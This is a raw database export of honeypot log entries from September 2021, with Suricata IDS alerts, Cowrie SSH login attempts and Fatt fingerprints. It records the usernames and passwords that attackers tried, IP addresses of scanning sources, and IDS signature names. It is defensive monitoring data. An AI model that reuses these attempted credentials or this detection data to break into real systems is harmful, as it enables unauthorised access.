"src_ip": "192.168.20.116", "stream": 0, "dest_ip": "78.83.66.198", "flow_id": 1117230414384533, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57880, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:09:31.498856Z", "@timestamp": "2021-09-20T12:09:31.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35549	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:31.498856+03	2021-09-20 15:15:03.409691+03	{"_id": "AgYcA3wBvYTbRNuEgF1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:31.478613+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 1117230414384533, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiA0Njc1MzA3DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTZlMDkwYWFjN2E5NGEwMTUNCkV4cGVjdDogMTAwLWNvbnRpbnVlDQoNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57880, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:09:31.498856Z", "@timestamp": "2021-09-20T12:09:31.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 4675307\\r\\nContent-Type: multipart/form-data; boundary=------------------------6e090aac7a94a015\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
35550	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:31.143493+03	2021-09-20 15:15:03.41169+03	{"_id": "CgYcA3wBvYTbRNuEgV2J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 22319, "timestamp": "2021-09-20T12:09:31.143493", "@timestamp": "2021-09-20T12:09:31.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35551	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:09:32.783688+03	2021-09-20 15:15:03.413689+03	{"_id": "DAYcA3wBvYTbRNuEhl3r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/97a85?4b89e@00bf&520b98$24a7df#] failed", "session": "0cc2335b7c4d", "@version": "1", "password": "97a85?4b89e@00bf&520b98$24a7df#", "username": "root", "timestamp": "2021-09-20T12:09:32.783688Z", "@timestamp": "2021-09-20T12:09:32.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35552	80.158.5.25	109.199.241.180	Suricata	2021-09-20 15:09:33.862019+03	2021-09-20 15:15:03.41469+03	{"_id": "DgYcA3wBvYTbRNuEiF0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:33.756424+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.5.25", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.5.25", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1797518874479304, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41346, "timestamp": "2021-09-20T12:09:33.862019Z", "@timestamp": "2021-09-20T12:09:33.862Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35568	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:09:31.399416+03	2021-09-20 15:15:03.43672+03	{"_id": "BgYcA3wBvYTbRNuEgV2J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 22319, "dest_port": 22, "timestamp": "2021-09-20T12:09:31.399416", "@timestamp": "2021-09-20T12:09:31.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35553	78.83.66.198	109.199.241.180	Suricata	2021-09-20 15:09:34.268129+03	2021-09-20 15:15:03.41569+03	{"_id": "EgYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 1117230414384533, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 57880, "timestamp": "2021-09-20T12:09:34.268129Z", "@timestamp": "2021-09-20T12:09:34.268Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	BG
35554	80.158.5.25	109.199.241.180	Suricata	2021-09-20 15:09:34.621929+03	2021-09-20 15:15:03.41769+03	{"_id": "FAYcA3wBvYTbRNuEi137", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:33.756424+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 290}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.5.25", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.5.25", "stream": 0, "dest_ip": "192.168.20.140", "flow_id": 1797518874479304, "payload": "FQMDABrtUYn4fTSxc/Y6pKrr8Wx6+4LX2cFkkOjIEA==", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41346, "timestamp": "2021-09-20T12:09:34.621929Z", "@timestamp": "2021-09-20T12:09:34.621Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Q..}4.s.:....lz.....d...."}}	1	\N	\N	alert	\N	DE
35555	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:09:25.294198+03	2021-09-20 15:15:03.41869+03	{"_id": "ygYcA3wBvYTbRNuEZ1yo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f0461130d325", "@version": "1", "duration": 2.772207736968994, "timestamp": "2021-09-20T12:09:25.294198Z", "@timestamp": "2021-09-20T12:09:25.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35556	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:09:24.69908+03	2021-09-20 15:15:03.42069+03	{"_id": "yAYcA3wBvYTbRNuEZ1yo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:14188 (192.168.176.2:22) [session: ebd95aee0017]", "session": "ebd95aee0017", "@version": "1", "protocol": "ssh", "src_port": 14188, "dest_port": 22, "timestamp": "2021-09-20T12:09:24.699080Z", "@timestamp": "2021-09-20T12:09:24.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	ID
35557	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:25.754957+03	2021-09-20 15:15:03.42169+03	{"_id": "zwYcA3wBvYTbRNuEaFzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 151414675694139, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42948, "dest_port": 3389, "timestamp": "2021-09-20T12:09:25.754957Z", "@timestamp": "2021-09-20T12:09:25.754Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35558	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:25.754957+03	2021-09-20 15:15:03.422689+03	{"_id": "0AYcA3wBvYTbRNuEaFzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 151414675694139, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42948, "dest_port": 3389, "timestamp": "2021-09-20T12:09:25.754957Z", "@timestamp": "2021-09-20T12:09:25.754Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35559	87.251.67.120	109.199.241.180	Fatt	2021-09-20 15:09:25.754957+03	2021-09-20 15:15:03.423689+03	{"_id": "0wYcA3wBvYTbRNuEalwU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 42948, "dest_port": 3389, "timestamp": "2021-09-20T12:09:25.754957", "@timestamp": "2021-09-20T12:09:25.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	MD
35560	110.137.195.172	109.199.241.180	Fatt	2021-09-20 15:09:24.941858+03	2021-09-20 15:15:03.425691+03	{"_id": "1gYcA3wBvYTbRNuEalwU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 14188, "dest_port": 22, "timestamp": "2021-09-20T12:09:24.941858", "@timestamp": "2021-09-20T12:09:24.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	ID
35561	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:09:26.051066+03	2021-09-20 15:15:03.426691+03	{"_id": "2AYcA3wBvYTbRNuEa1yR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.failed", "message": "login attempt [cao/123456] failed", "session": "ebd95aee0017", "@version": "1", "password": "123456", "username": "cao", "timestamp": "2021-09-20T12:09:26.051066Z", "@timestamp": "2021-09-20T12:09:26.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	ID
35562	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:25.914753+03	2021-09-20 15:15:03.427689+03	{"_id": "2QYcA3wBvYTbRNuEbFy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 151414675694139, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42948, "dest_port": 3389, "timestamp": "2021-09-20T12:09:25.914753Z", "@timestamp": "2021-09-20T12:09:25.914Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35563	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:09:25.914753+03	2021-09-20 15:15:03.429689+03	{"_id": "2wYcA3wBvYTbRNuEbFy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 151414675694139, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 42948, "dest_port": 3389, "timestamp": "2021-09-20T12:09:25.914753Z", "@timestamp": "2021-09-20T12:09:25.914Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
